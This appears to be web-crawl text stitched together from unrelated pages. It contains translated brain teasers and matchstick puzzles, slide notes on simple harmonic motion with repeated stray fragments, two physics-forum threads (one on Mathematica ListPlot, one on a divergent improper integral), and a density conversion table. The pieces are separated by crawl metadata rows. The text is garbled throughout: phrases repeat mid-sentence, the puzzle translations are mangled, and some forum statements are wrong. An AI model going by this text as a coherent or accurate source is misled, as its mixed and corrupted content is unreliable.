32. The puzzle supposedly came from Albert Einstein, who said only 2 percent of the world's population could solve it. It goes like this: There are five houses, each with a different color. A person of a different nationality lives in each house. Everyone in the house prefers a certain drink, smokes a certain brand of cigarettes, and has a certain pet. None of the five people drinks the same drink, smokes the same brand of cigarettes, or keeps the same animal as one of their neighbors. The clues are as follows: The owner of the yellow house smokes Dunhill. The man who lives in the middle house is drinking milk. The Brit lives in the red house. The man who keeps a horse lives next to the man who smokes Dunhill. The Norwegian lives in the first house. The green house is to the left of the white house. The camel smoker likes to drink beer. The Marlboro smoker lives next to the one who has a cat. The Dane likes to drink tea. The Norwegian lives next to the blue house. The Marlboro smoker has a neighbor who drinks water. The German smokes West. The owner of the green house is drinking coffee. The Swede has a dog. The person who smokes Gauloise is holding a bird. Who has the fish?
Brain teaser solution
33. You know the graduation of the euro coins: 1 cent, 2 cents, 5 cents, 10 cents, 20 cents, 50 cents, 1 euro and 2 euro pieces are available. For example, suppose your wallet is very small and you want to carry the smallest amount of cash with you. Still, you want to be able to pay every cent - including one euro - exactly. What coins do you have to insert at least for this?
Brain teaser solution
34. You have two candles in front of you that you know will both burn for exactly one hour each. You should now measure exactly a quarter of an hour with these two candles. There is one problem, however: the two candles are made from different types of wax and don't burn evenly. If one is half burnt down, you cannot assume that exactly half an hour has passed. How do you manage to measure the quarter of an hour anyway?
Brain teaser solution
35. Early in the morning a man leaves his house drunk with sleep. First he goes one kilometer to the south, then four kilometers to the west. Then he is suddenly awake: a huge bear is standing in front of him. The man reacts instinctively and runs north as fast as he can. After exactly one kilometer, he arrives at his safe house. Oh, what color is the bear?
Brain teaser solution
36. You stand in front of a river and have to bring a goat, a wolf and a fern to the other bank. A rowing boat is available for this. But it is so small that you can only take one of the three - goat, wolf or fern - with you per trip.If you leave the goat alone with the wolf, the wolf will be happy about the delicious meal and will eat the goat. If you leave the goat alone with the fern, it becomes a snack. How do you manage to get the trio to the other bank without the goat or fern being eaten?
Brain teaser solution
37. Now there are two questions: In front of you is a die on the table that shows the number five. Question 1: What number do you see if you tilt the cube forward twice? And question 2: The dice shows the number four this time. You tip it forward once. Which numbers could the dice show now?
Brain teaser solution
38. Your colleague tells you an incredible story: he turned 32 on his last birthday. But next year he will be 36! The man is not crazy, by the way. When is your colleague's birthday?
Brain teaser solution
39. Mr. P. started in the department two weeks ago and is nervous in the first conversation with his new boss, because he loves logic puzzles. And in fact he starts right away: “I bet you that I can ask you a question to which you know the correct answer - only“ yes ”or“ no ”- but cannot tell me what it is ! ”Mr P. thinks for a moment and makes the bet. The boss then asks his question and Mr P. has to admit that he has lost. What question did the boss ask?
Brain teaser solution
40. Martina has borrowed a book from her colleague. She returns it on Monday. On Thursday, however, she spoke to her colleagues again about the book. She claims that she forgot a 50 euro note between pages 59 and 60 and is asking her colleague to return it. He doesn't even bother to look and accuses Martina of lying. Why can the colleague be so sure about this?
Brain teaser solution
### Brain teaser examples: 13 matchstick puzzle tasks
You may remember the following tasks from your childhood: Matchstick puzzle. Various figures or math problems are placed with matches, which have to be transformed into a new pattern or a coherent equation with just a few simple steps and changes.
That often sounds easier than it is. Sometimes spatial imagination is also required. The matchstick games selected here are among the trickier of their kind. Just give it a try. The respective Solution immediately follows the picture - just click through with the orange arrows ...
The illustration shows a giraffe looking to the right. At least with a lot of imagination. Place them just a match so that the giraffe looks to the left.
The trick is not to flip the giraffe horizontally, but to "rotate" it. You could also say: The giraffe is now lying on its backside and looking up.
Now it's time to do the math: The following equation is true. Still: lay down just a match um, so that the calculation still works out (the unequal sign is forbidden!).
Two solutions are even possible here. One of them: 3 + 3 = 6. Make a 3 out of 9 and a plus out of the minus (by the way, a second solution would be: 8 - 3 = 5).
The following equation is incorrect. 1 + 2 = 8 is mathematical nonsense. Place them just a match to make it right again!
The solution is easy to overlook: If you take a match from the 8, it becomes a 9 and if you place it above the 1, it becomes the 7th. It's right again: 7 + 2 = 9.
The equation shown does not work either. With the flip of just a match but if the calculation were correct again ...
Once you have understood the principle, it's easy: In this case, the 9 becomes a 3, the now free match turns the zero into an 8. Result: 8 - 3 = 5. That's right.
The following equation is incorrect. By killing it of a single match however, you can ensure a mathematically correct calculation. How do you do that?
Remove the match from the number six and place it over the minus sign so that it becomes a plus sign. The equation then reads: 3 + 2 = 5 and is correct again.
The figure shows 4 squares of equal size. Position 4 matches so that in the end there are only 3 squares of the same size.
If you think in the given form here, you will not find the solution. The trick is to add the third square above (or below) ...
This time there are only 3 squares of the same size. Put this time just two matches so that you end up with 2 squares.
With this puzzle, too, it is important to think in different dimensions. Who says that in the end both squares have to be the same size? Just…
You have 5 squares in a row. Now you can Move 6 matches. However, you should end up with 4 squares.
The trick is to think multi-dimensionally: If you free yourself from the template, you will find a solution with 4 squares of different sizes:
You will see the number 100 in front of you. Move it just two matches so that at the end there is the word "cat"!
This character is tricky. While the 100 can be read horizontally, the word "CAT" is there rotated 90 degrees to the right - and then also vertically:
Here the Romans calculated wrongly. Help him by just a match shift so that the equation works again.
In Roman numerals there is 7 = 1. With point and line calculations you get no further in this case. What helps is differential calculus: The square root of 1 is also 1 ...
Again the bill is wrong. Again you may just a match shift so the equation is correct.
XI + I = X - in German: 11 + 1 = 10 - that doesn't work. But: 9 + 1 = 10 - that's true. Fortunately for the Roman numerals, 9 is represented as IX:
In front of you is a farmhouse that is to be completely rebuilt. So far the portal points to the right, later it should look to the left - but you are allowed to do so just two matches knock down.
If you see the solution in front of you, you immediately say: "Of course, how easy!" In order to get there, however, you need above all perspective and spatial imagination:
The overturned sail mast should become two equal-sized squares. However, you are allowed to just two matches move. Which and how?
The riddle is not for people who only think in horizontal figures. The task was not to form squares, but rectangles - they can also be crooked. | 5,080 | 22,071 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.890625 | 3 | CC-MAIN-2021-39 | latest | en | 0.944488 |
http://www.slideserve.com/edric/4-1c-further-mechanics-shm-oscillations | 1,505,872,851,000,000,000 | text/html | crawl-data/CC-MAIN-2017-39/segments/1505818686117.24/warc/CC-MAIN-20170920014637-20170920034637-00414.warc.gz | 573,762,399 | 19,373 | 1 / 39
# 4.1c Further Mechanics SHM & Oscillations - PowerPoint PPT Presentation
CLASS NOTES HANDOUT VERSION. 4.1c Further Mechanics SHM & Oscillations. Breithaupt pages 34 to 49. January 4 th 2012. AQA A2 Specification. Oscillations (definitions). An oscillation is a repeated motion about a fixed point.
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### 4.1c Further MechanicsSHM & Oscillations
Breithaupt pages 34 to 49
January 4th 2012
An oscillation is a repeated motion about a fixed point.
The fixed point, known as the equilibrium position, is where the oscillating object returns to once the oscillation stops.
The time period, Tof an oscillation is the time taken for an object to perform one complete oscillation.
equilibrium position
The amplitude, A of an oscillation is equal to the maximum value of the displacement, x
Frequency, f in hertz is equal to the number of complete oscillations per second.
also: f = 1 / T
Angular frequency, ω in radians per second is given by:
ω= 2π f
or
ω= 2π / T
Many oscillating systems undergo a pattern of oscillation that is, or approximately the same as, that known as Simple Harmonic Motion (SHM).
Examples
(including some that are approximate):
A mass hanging from the end of a spring
Molecular oscillations
A pendulum or swing
A ruler oscillating on the end of a bench
The oscillation of a guitar or violin string
Tides
Breathing
Simple Harmonic Motion
The pattern of SHM is the same as the side view of an object moving at a constant speed around a circular path
The pattern of SHM motion
The amplitude of the oscillation is equal to the radius of the circle.
+ A
The object moves quickest as it passes through the central equilibrium position.
- A
The time period of the oscillation is equal to the time taken for the object to complete the circular path.
When an object is performing SHM: moving at a constant speed around a circular path
1. Its acceleration is proportional to its displacement
from the equilibrium position.
2. Its acceleration is directed towards the
equilibrium position.
Mathematically the above can be written: a = - k x
where k is a constant and the minus sign indicates that the acceleration, a and displacement, x are in opposite directions
Conditions required for SHM
The constant moving at a constant speed around a circular pathk is equal to(2πf )2 or ω2 or (2π/T)2
Therefore:
a = - (2πf )2 x(given on data sheet)
or
a = - ω2 x
or
a = - (2π/T)2 x
a
+ ω2 x
x
- A
+ A
- ω2 x
Acceleration variation of SHM
gradient = - ω2 or - (2πf )2
A body oscillating with SHM has a period of 1.5s and amplitude of 5cm. Calculate its frequency and maximum acceleration.
Question
The displacement, amplitude of 5cm. Calculate its frequency and maximum acceleration.x of the oscillating object varies with time, t according to the equations:
x = A cos (2π f t) given on data sheet
or
x = A cos (ω t)
or
x = A cos ((2π / T) t)
Note: At time, t = 0, x = +A
Displacement equations of SHM
A body oscillating with SHM has a frequency of 50Hz and amplitude of 4.0mm. Calculate its displacement and acceleration 2.0ms after it reaches its maximum displacement.
Question
The velocity, amplitude of 4.0mm. Calculate its displacement and acceleration 2.0mv of an object oscillating with SHM varies with displacement, x according to the equations:
v = ± 2πf √(A2 − x 2) given on data sheet
or
v = ± ω√(A2 − x 2)
or
v = ± (2π / T) √(A2 − x 2)
Velocity equations of SHM
Question amplitude of 4.0mm. Calculate its displacement and acceleration 2.0m
A body oscillating with SHM has a period of 4.0ms and amplitude of 30μm. Calculate (a) its maximum speed and (b) its speed when its displacement is 15μm.
Variation of amplitude of 4.0mm. Calculate its displacement and acceleration 2.0mx, v and a with time
The acceleration, ax depends on the resultant force, Fspring on the mass.
Note that the acceleration ax is always in the opposite direction to the displacement, X.
SHM time graphs amplitude of 4.0mm. Calculate its displacement and acceleration 2.0m
- A
+ A
T/4 T/2 3T/4 T 5T/4 3T/2
x
x
v
a
time
v
a
x = A cos (2π f t)
v = - 2π f A sin (2π f t)
vmax = ± 2π f A
a = - (2π f )2 A cos (2π f t)
amax = ± (2π f )2 A
Note: The velocity curve is the gradient of the displacement curve
and the acceleration curve is the gradient of the velocity curve.
SHM summary table amplitude of 4.0mm. Calculate its displacement and acceleration 2.0m
SHM graph question amplitude of 4.0mm. Calculate its displacement and acceleration 2.0m
T/4 T/2 3T/4 T 5T/4 3T/2
The graph below shows how the acceleration, a of an object undergoing SHM varies with time. Using the same time axis show how the displacement, x and velocity, v vary in time.
a
time
If a mass, amplitude of 4.0mm. Calculate its displacement and acceleration 2.0mm is hung from a spring of spring constant, k and set into oscillation the time period, T of the oscillations is given by:
T = 2π√(m / k)
AS Reminder:Spring Constant, k:
This is the force in newtons required to cause a change of length of one metre.
k = F / ΔL
unit of k = Nm-1
The spring-mass system
Mass on spring - Fendt
A spring extends by 6.0 cm when a mass of 4.0 kg is hung from it near the Earth’s surface (g = 9.8ms-2). If the mass is set into vertical oscillation state or calculate the period (a) near the Earth’s surface and (b) on the surface of the Moon where g = 1.7 ms-2.
Question
A simple pendulum consists of: from it near the Earth
a point mass
undergoing small oscillations (less than 10°)
suspended from a fixed support
by a massless,inextendable thread of length, L
within a gravitational field of strength, g
The time period, T is given by:
T = 2π√(L / g)
The simple pendulum
• Simple Pendulum - Fendt
Calculate: (a) the period of a pendulum of length 20cm on the Earth’s surface (g = 9.81ms-2) and (b) the pendulum length required to give a period of 1.00s on the surface of the Moon where g = 1.67ms-2.
Question
The total of the potential and kinetic energy of the object will remain constant.
EP + ET = a constant
This occurs when there are no frictional forces acting on the object such as air resistance.
Free oscillation
Energy variation in free oscillation amplitude.
1
5
2
4
3
equilibrium position
A simple pendulum consists of a mass of 50g attached to the end of a thread of length 60cm. Calculate: (a) the period of the pendulum
(g = 9.81ms-2) and (b) the maximum height reached by the mass if the mass’s maximum speed is 1.2 ms-1.
Question
The strain potential energy is given by: end of a thread of length 60cm. Calculate: (a) the period of the pendulum
EP = ½ k x2
Therefore the maximum potential energy of an oscillating spring system
= ½ k A2
= Total energy of the system, ET
But: ET = EP + EK
½ k A2 = ½ k x2 + EK
And so the kinetic energy is given by:
EK = ½ k A2 - ½ k v2
EK = ½ k (A2 - x2)
Energy variation with an oscillating spring
The potential energy curve is parabolic, given by: end of a thread of length 60cm. Calculate: (a) the period of the pendulum
EP = ½ k x2
The kinetic energy curve is an inverted parabola, given by:
EK = ½ k (A2 - x2)
The total energy ‘curve’ is a horizontal line such that:
ET = EP+EK
energy
- A 0 + A
displacement, x
Energy versus displacement graphs
ET
EK
EP
Displacement varies with time according to: end of a thread of length 60cm. Calculate: (a) the period of the pendulum
x = A cos (2π f t)
Therefore the potential energy curve is cosine squared, given by:
EP = ½ k A2 cos2 (2π f t)
½ k A2= total energy, ET.
and so: EP = ET cos2 (2π f t)
Kinetic energy is given by:
EK=ET-EP
EK=ET-ET cos2 (2π f t)
EK=ET(1 -cos2 (2π f t))
EK = ETsin2 (2π f t)
EK = ½ k A2sin2 (2π f t)
energy
ET
½ kA2
EP
EK
0 T/4 T/2 3T/4 T
time, t
Energy versus time graphs
Damping occurs when frictional forces cause the amplitude of an oscillation to decrease.
The amplitude falls to zero with the oscillating object finishing in its equilibrium position.
The total of the potential and kinetic energy also decreases.
The energy of the object is said to be dissipated as it is converted to thermal energy in the object and its surroundings.
Damping
1. Light Damping an oscillation to decrease.
In this case the amplitude gradually decreases with time.
The period of each oscillation will remain the same.
The amplitude, A at time, t will be given by: A = A0 exp (- C t)
where A0 = the initial amplitude and C = a constant depending on the system (eg air resistance)
Types of damping
2. Critical Damping an oscillation to decrease.
In this case the system returns to equilibrium, without overshooting, in the shortest possible time after it has been displaced from equilibrium.
3. Heavy Damping
In this case the system returns to equilibrium more slowly than the critical damping case.
displacement
A0
time
critical damping
heavy damping
light damping
Forced oscillations an oscillation to decrease.
All undamped systems of bodies have a frequency with which they oscillate if they are displaced from their equilibrium position.
This frequency is called the natural frequency, f0.
Forced oscillation occurs when a system is made to oscillate by a periodic force. The system will oscillate with the applied frequency, fA of the periodic force.
The amplitude of the driven system will depend on:
1. The damping of the system.
2. The difference between the applied and natural frequencies.
Resonance an oscillation to decrease.
The maximum amplitude occurs when the applied frequency, fA is equal to the natural frequency, f0 of the driven system.
This is called resonanceand the natural frequency is sometimes called the resonant frequency of the system.
Resonance curves an oscillation to decrease.
amplitude of driven system, A
very light damping
light damping
more damping
driving force amplitude
f0
applied force frequency, fA
Notes on the resonance curves an oscillation to decrease.
If damping is increased then the amplitude of the driven system is decreased at all driving frequencies.
If damping is decreased then the sharpness of the peak amplitude part of the curve increases.
The amplitude of the driven system tends to be:
- Equal to that of the driving system at very low
frequencies.
- Zero at very high frequencies.
- Infinity (or the maximum possible) whenfA is
equal to f0 as damping is reduced to zero.
Phase difference an oscillation to decrease.
The driven system’s oscillations are always behind those of the driving system.
The phase difference lag of the driven system depends on:
1. The damping of the system.
2. The difference between the applied and natural frequencies.
At the resonant frequency the
phase difference is π/2 (90°)
Phase difference curves an oscillation to decrease.
- 90°
more damping
less damping
- 180°
f0
applied force frequency, fA
phase difference of driven system compared with driving system
Examples of resonance an oscillation to decrease.
• Pushing a swing
• Musical instruments (eg stationary waves on strings)
• Tuned circuits in radios and TVs
• Orbital resonances of moons (eg Io and Europa around Jupiter)
• Wind driving overhead wires or bridges (Tacoma Narrows)
The Tacoma Narrows Bridge Collapse an oscillation to decrease.
– 4 minutes – with commentary | 3,140 | 12,006 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.4375 | 3 | CC-MAIN-2017-39 | latest | en | 0.869672 |
http://www.physicsforums.com/showthread.php?p=368372 | 1,386,918,774,000,000,000 | text/html | crawl-data/CC-MAIN-2013-48/segments/1386164908494/warc/CC-MAIN-20131204134828-00085-ip-10-33-133-15.ec2.internal.warc.gz | 480,818,931 | 8,254 | # Mathematica List Plot
by cepheid
Tags: list, mathematica, plot
Mentor P: 5,194 This didn't generate any responses in the software thread, and since this is for a homework assignment, I have moved my query here. Thanks. Hello: I have entered data into two lists in Mathematica: centroidEnergy = {1.3485, 1.4780, 1.6176, 1.7820, 1.9123, 2.0274, 2.1635, 2.3163, 2.4213, 2.5191, 2.6515, \ 2.7490, 2.8763, 2.9894, 3.0728, 3.1949, 3.2816, 3.3923, 3.4773, 3.5884, \ 3.6804, 3.7702, 3.8374, 3.9679, 4.0507, 4.1507, 4.2163, 4.3145, 4.4039, \ 4.5056, 4.5089, 4.6440, 4.7331, 4.8497, 4.9290, 5.0019, 5.0862, 5.1815, \ 5.2427, 5.3365, 5.4225, 5.4800} and distanceInAir = {2.0523, 2.0020, 1.9517, 1.8964, 1.8511, 1.8008, 1.7505, 1.7002, 1.6499, 1.5996, 1.5493, 1.4990, 1.4488, 1.3984, 1.3481, 1.2979, 1.2476, 1.1520, 1.0967, 1.0464, 0.99606, 0.95079, 0.89546, 0.84516, 0.79486, 0.74456, 0.69426, 0.64396, 0.59366, 0.54336, 0.49306, 0.44276, 0.39247, 0.34217, 0.29186, 0.24157, 0.19269, 0.14097, 0.090671, 0.040371, 0.000132} I am trying to plot the former vs. the latter. The recommended method I have seen to do so is to Transpose the two lists so that M. creates a list of ordered pairs of corresponding items from each one. Then, ListPlot that. However, I can't get the following command to work: it always gives the ensuing error message: dataToPlot = Transpose[{distanceInAir, centroidEnergy}] Transpose :: nmtx :: the first two levels of the one-dimensional list {{2.0523, 2.0020, 1.9517, 1.8964, 1.8511, 1.8008, 1.7505, <<28>> , 0.24157, 0.19269, 0.14097, 0.090671, 0.040371, 0.000132}, {<<1>>}} cannot be transposed. ??? Any ideas on how to simply plot centroidEnergy vs. distanceInAir would be greatly appreciated! Thanks.
P: 291 Try the Thread[] function. Thread[{{1, 2, 3}, {a, b, c}}] returns {{1, a}, {2, b}, {3, c}} --J
Mentor P: 5,194 Thanks! That actually worked...once I discovered that I had omitted a data point in one of the lists...so one was shorter than the other...grr. Any idea why the resulting plot in Mathematica would have x and y axes intersecting at some stupid random point instead of at (0,0)? Edit: When I set AxesOrigin -> {0,0}, the resulting y-axis has a huge gap in it! Why? Edit2: from the look of things, it's refusing to draw the y-axis below the y-value of the last data point. That's ridiculous! Any idea how to get around it?
P: 291
## Mathematica List Plot
The PlotRange option might help.
ListPlot[{...}, PlotRange->{y0, yf}]
--J
Related Discussions Math & Science Software 2 Math & Science Software 9 Math & Science Software 3 Math & Science Software 0 Math & Science Software 2 | 1,044 | 2,624 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.859375 | 3 | CC-MAIN-2013-48 | longest | en | 0.834082 |
https://www.physicsforums.com/threads/improper-integral.58796/ | 1,545,070,084,000,000,000 | text/html | crawl-data/CC-MAIN-2018-51/segments/1544376828697.80/warc/CC-MAIN-20181217161704-20181217183704-00567.warc.gz | 1,009,502,688 | 17,269 | # Homework Help: Improper integral
1. Jan 6, 2005
### Chen
I need to find a function f(x), if one exists, such that:
lim (x->inf) x^2*f(x) = 0
And the improper integral of f(x) from 1 to infinity doesn't exist.
I'm thinking that no function can satisfy these requirements, but apparently I'm wrong... help anyone?
2. Jan 6, 2005
### arildno
Let f(x) on the interval [1,2] be as follows:
0 for x rational, 1 for x irrational.
From [2,..) let f(x)=0 for all x
Since f is not integrable on [1,2], the improper integral doesn't exist either..
(I'm thinking of Riemann integrability here..)
(Perhaps you where looking for an f such that the integral didn't exist through divergence?)
3. Jan 6, 2005
### Chen
Yes, I'm sorry, the improper integral needs to diverge. Also I need to be able to write down the function as a formula, without these "cases".
Thank you!
4. Jan 6, 2005
### dextercioby
Take the continuous function:
$$f(x):(+1,+\infty)\rightarrow R$$ (1)
$$f(x)=\left\{\begin{array}{cc} \frac{1}{x-1}-1,&\mbox{ if } x\in (1,2]\\ 0,&\mbox{ if } x>2 \end{array}\right$$ (2)
It is easily checkable that the function is continuous at every point in its domain and
$$\lim_{x\rightarrow +\infty} x^{2}f(x)=0$$ (3)
Its integral
$$\int_{1}^{+\infty} f(x) dx=\int_{1}^{2} f(x)dx+\int_{2}^{+\infty} f(x)dx=\lim_{a\searrow 1}\int_{a}^{2} f(x) dx=\lim_{a\searrow 1}[\ln(2-1)-\ln(a-1)-1]$$
$$=-1-\lim_{a\searrow 1}\ln(a-1)=+\infty$$ (4)
Daniel.
Last edited: Jan 6, 2005
5. Jan 6, 2005
### Chen
Daniel, like I said above the function must be pronounced with a single formula, without different cases for different domains of X.
6. Jan 6, 2005
### dextercioby
My friend,that function is an good as any function.It is continuous and infinitely times differentiable on its entire domain of definition.It's as good as e^{x}.If u want a "better" looking one,please be my guest and find it.
Daniel.
7. Jan 6, 2005
### Chen
Our homework is submitted via an online software that is uncapable of accepting answers in the form you posted. Believe me it annoys me much more than it does you, but this is the world we live in. So what I'm after is a function that can be described by a single formula.
Chen
8. Jan 6, 2005
### dextercioby
What do you mean,"a software that is uncapable of accepting answers in the form you posted"?? What kind of f***** up software (actually the bonehead who created it) is that?? :grumpy: Can't u just write:
f(x) =\frac{1}{x-1}-1,if 1<x<2,0,if x>=1 ???
It's basically text editing.You could write what i've written even in "Notepad"...
As for the "function which is described by a single formula",i'll say again:"Be my guest and find it".
Daniel.
9. Jan 6, 2005
### arildno
What about an f defined on a punctuated line:
$$f(x)=\frac{1}{(x-a)^{3}}$$
For some "a" greater than 1.
10. Jan 6, 2005
### dextercioby
$$\int_{1}^{+\infty} \frac{dx}{(x-a)^{3}}dx=\frac{1}{2}[\lim_{x\searrow a}\frac{1}{(x-a)^{2}}-\lim_{x\nearrow a}\frac{1}{(x-a)^{2}}]+\frac{1}{2}\frac{1}{(1-a)^{2}}$$
Is the result $+\infty$ ??I'd say "no".
For the function
$$f(x)=\frac{1}{(x-a)^{4}}$$
,for some "a" greater than 1,the same integral yields:
$$\int_{1}^{+\infty} \frac{dx}{(x-a)^{4}}dx=\frac{1}{3}[\lim_{x\searrow a}\frac{1}{(x-a)^{3}}-\lim_{x\nearrow a}\frac{1}{(x-a)^{3}}]+\frac{1}{3}\frac{1}{(1-a)^{3}}$$
Is the result $+\infty$ ??I'd say "yes".
Daniel.
PS.I like my example more.
11. Jan 6, 2005
### arildno
Well, whatever.
The "single formula"-constraint is rather silly, anyway.
Besides, I still think my first function is more than good enough.
12. Jan 6, 2005
### Chen
The software is used not only for submitting the answers but also for checking them. It simply cannot handle expressions such as the one you posted. If you want to change, be my guest.
At any rate, the function you last posted will work.
And for christ's sake, if you got nothing helpful to post - don't post at all.
13. Jan 6, 2005
### learningphysics
Doesn't the function f(x)=1/(x-1)^3 satisfy the requirements of the question?
14. Jan 6, 2005
### dextercioby
I've come up with an answer.If you didn't like it,that's your problem.I use to think that my answers are helpful,but you're free to think otherwise.
You didn't request a specific answer.
I quote:
How would i know that your stupid software won't accept my solution??The way you formulated,u were looking for a solution,not a very particular solution.
Daniel.
15. Jan 6, 2005
### dextercioby
It is very good,i cannot imagine any simpler solution which can be accepted by that stupid software.
Congratulations!!
Don't delete messages,when you're not sure of them.This one was very good,and,had you seen it,you wiuldn't have deleted.
Daniel.
PS.I may write stupid things,but i leave them there to remind me i'm wrong,from times to times... :tongue2:
16. Jan 6, 2005
### arildno
I agree:learningphysics' answer is the best and simplest choice here!
17. Jan 6, 2005
### Chen
You would know because I said so, and I quote:
Now do you really wish to continue this worthless argument? Don't you have some more questions in need of answer, or a kitten stuck on a tree that needs to be saved?
Chen.
18. Jan 6, 2005
### Chen
I would definitely say so. Thanks learningphysics and arildno.
19. Jan 6, 2005
### learningphysics
Thanks. You're right about the posting. Won't delete in the future.
20. Jan 6, 2005
### dextercioby
You do that!!Now,excuse me,i'm a little busy,i gotta go and help some poor kitten stuck on a tree.I love kittens,they're adorable... :!!) I have three at home.I nicknamed my girlfriend 'my little delicious kitten'... :!!)
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https://www.aqua-calc.com/one-to-all/density/preset/troy-ounce-per-cubic-inch/477956-point-03 | 1,623,797,348,000,000,000 | text/html | crawl-data/CC-MAIN-2021-25/segments/1623487621627.41/warc/CC-MAIN-20210615211046-20210616001046-00624.warc.gz | 605,255,159 | 13,468 | # Convert troy ounces per cubic inch to other units of density
## troy ounces/inch³ [oz t/in³] density conversions
477 956.03 oz t/in³ = 907 184 734.29 micrograms per cubic millimeter oz t/in³ to µg/mm³ 477 956.03 oz t/in³ = 907 184 734 294.68 micrograms per cubic centimeter oz t/in³ to µg/cm³ 477 956.03 oz t/in³ = 9.07 × 10+14 micrograms per cubic decimeter oz t/in³ to µg/dm³ 477 956.03 oz t/in³ = 9.07 × 10+17 micrograms per cubic meter oz t/in³ to µg/m³ 477 956.03 oz t/in³ = 907 184 734 294.68 micrograms per milliliter oz t/in³ to µg/ml 477 956.03 oz t/in³ = 9.07 × 10+14 micrograms per liter oz t/in³ to µg/l 477 956.03 oz t/in³ = 4 535 923 666 693.8 micrograms per metric teaspoon oz t/in³ to µg/metric tsp 477 956.03 oz t/in³ = 13 607 771 038 318 micrograms per metric tablespoon oz t/in³ to µg/metric tbsp 477 956.03 oz t/in³ = 2.27 × 10+14 micrograms per metric cup oz t/in³ to µg/metric c 477 956.03 oz t/in³ = 14 866 094 290 525 micrograms per cubic inch oz t/in³ to µg/in³ 477 956.03 oz t/in³ = 2.57 × 10+16 micrograms per cubic foot oz t/in³ to µg/ft³ 477 956.03 oz t/in³ = 6.94 × 10+17 micrograms per cubic yard oz t/in³ to µg/yd³ 477 956.03 oz t/in³ = 4 471 442 413 165.4 micrograms per US teaspoon oz t/in³ to µg/tsp 477 956.03 oz t/in³ = 13 414 327 272 953 micrograms per US tablespoon oz t/in³ to µg/tbsp 477 956.03 oz t/in³ = 26 828 654 545 907 micrograms per US fluid ounce oz t/in³ to µg/fl.oz 477 956.03 oz t/in³ = 2.15 × 10+14 micrograms per US cup oz t/in³ to µg/US c 477 956.03 oz t/in³ = 4.29 × 10+14 micrograms per US pint oz t/in³ to µg/pt 477 956.03 oz t/in³ = 8.59 × 10+14 micrograms per US quart oz t/in³ to µg/US qt 477 956.03 oz t/in³ = 3.43 × 10+15 micrograms per US gallon oz t/in³ to µg/US gal 477 956.03 oz t/in³ = 907 184.73 milligrams per cubic millimeter oz t/in³ to mg/mm³ 477 956.03 oz t/in³ = 907 184 734.29 milligrams per cubic centimeter oz t/in³ to mg/cm³ 477 956.03 oz t/in³ = 907 184 734 294.68 milligrams per cubic decimeter oz t/in³ to mg/dm³ 477 956.03 oz t/in³ = 9.07 × 10+14 milligrams per cubic meter oz t/in³ to mg/m³ 477 956.03 oz t/in³ = 907 184 734.29 milligrams per milliliter oz t/in³ to mg/ml 477 956.03 oz t/in³ = 907 184 734 294.68 milligrams per liter oz t/in³ to mg/l 477 956.03 oz t/in³ = 4 535 923 666.69 milligrams per metric teaspoon oz t/in³ to mg/metric tsp 477 956.03 oz t/in³ = 13 607 770 990.52 milligrams per metric tablespoon oz t/in³ to mg/metric tbsp 477 956.03 oz t/in³ = 226 796 183 334.69 milligrams per metric cup oz t/in³ to mg/metric c 477 956.03 oz t/in³ = 14 866 094 290.53 milligrams per cubic inch oz t/in³ to mg/in³ 477 956.03 oz t/in³ = 25 688 610 833 465 milligrams per cubic foot oz t/in³ to mg/ft³ 477 956.03 oz t/in³ = 6.94 × 10+14 milligrams per cubic yard oz t/in³ to mg/yd³ 477 956.03 oz t/in³ = 4 471 442 413.17 milligrams per US teaspoon oz t/in³ to mg/tsp 477 956.03 oz t/in³ = 13 414 327 272.95 milligrams per US tablespoon oz t/in³ to mg/tbsp 477 956.03 oz t/in³ = 26 828 654 545.91 milligrams per US fluid ounce oz t/in³ to mg/fl.oz 477 956.03 oz t/in³ = 214 629 236 176.07 milligrams per US cup oz t/in³ to mg/US c 477 956.03 oz t/in³ = 429 258 473 308.05 milligrams per US pint oz t/in³ to mg/pt 477 956.03 oz t/in³ = 858 516 942 792.45 milligrams per US quart oz t/in³ to mg/US qt 477 956.03 oz t/in³ = 3 434 067 780 728.9 milligrams per US gallon oz t/in³ to mg/US gal 477 956.03 oz t/in³ = 907.18 grams per cubic millimeter oz t/in³ to g/mm³ 477 956.03 oz t/in³ = 907 184.73 grams per cubic centimeter oz t/in³ to g/cm³ 477 956.03 oz t/in³ = 907 184 734.29 grams per cubic decimeter oz t/in³ to g/dm³ 477 956.03 oz t/in³ = 907 184 734 294.68 grams per cubic meter oz t/in³ to g/m³ 477 956.03 oz t/in³ = 907 184.73 grams per milliliter oz t/in³ to g/ml 477 956.03 oz t/in³ = 907 184 734.29 grams per liter oz t/in³ to g/l 477 956.03 oz t/in³ = 4 535 923.67 grams per metric teaspoon oz t/in³ to g/metric tsp 477 956.03 oz t/in³ = 13 607 770.99 grams per metric tablespoon oz t/in³ to g/metric tbsp 477 956.03 oz t/in³ = 226 796 183.33 grams per metric cup oz t/in³ to g/metric c 477 956.03 oz t/in³ = 14 866 094.29 grams per cubic inch oz t/in³ to g/in³ 477 956.03 oz t/in³ = 25 688 610 833.47 grams per cubic foot oz t/in³ to g/ft³ 477 956.03 oz t/in³ = 693 592 493 507.27 grams per cubic yard oz t/in³ to g/yd³ 477 956.03 oz t/in³ = 4 471 442.42 grams per US teaspoon 